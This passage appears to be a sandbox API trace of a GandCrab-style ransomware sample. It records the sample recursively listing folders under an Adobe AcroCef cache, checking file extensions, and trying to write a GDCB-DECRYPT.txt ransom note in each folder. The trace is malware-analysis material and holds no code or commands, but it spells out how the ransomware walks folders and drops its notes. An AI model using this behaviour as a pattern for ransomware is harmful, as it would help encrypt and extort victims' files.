pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.867] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.867] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\") returned 87 [0169.867] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.867] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4918 [0169.867] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.867] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.867] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.867] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.867] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.867] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.867] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.867] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.867] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 94 [0169.867] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.867] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.867] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.867] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.867] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.867] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.867] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.867] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.867] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.868] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 104 [0169.868] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.868] GetLastError () returned 0x50 [0169.868] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.868] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\") returned 87 [0169.868] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.868] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4d18 [0169.868] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.868] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.868] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.868] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.868] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.868] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.868] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0169.869] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.869] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.869] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.869] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.869] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.869] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.869] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 95 [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.869] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4e18 [0169.869] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.869] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.869] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.869] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.869] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.869] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.869] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.869] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 100 [0169.869] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.869] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.869] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.869] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 101 [0169.869] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.869] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.869] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.869] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.869] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 111 [0169.869] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.869] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.869] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.870] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.870] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 112 [0169.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.870] GetLastError () returned 0x50 [0169.870] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.870] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 95 [0169.870] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.870] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4e18 [0169.870] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.871] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.871] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.871] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.871] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.871] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.871] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0169.871] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.871] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.871] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 101 [0169.871] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.871] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e58 [0169.871] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.871] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.871] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.871] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.871] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.871] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.871] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 106 [0169.871] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.871] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.871] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.871] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.871] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 117 [0169.871] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.871] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.871] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.872] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.872] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.872] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 114 [0169.872] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.872] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.872] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.872] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 118 [0169.872] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.873] GetLastError () returned 0x50 [0169.873] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.873] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 101 [0169.873] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.873] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4e58 [0169.873] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.873] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.873] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.873] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.873] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.873] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.873] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.873] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.873] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0169.873] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.873] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.873] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 107 [0169.873] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.873] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4a18 [0169.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 113 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application 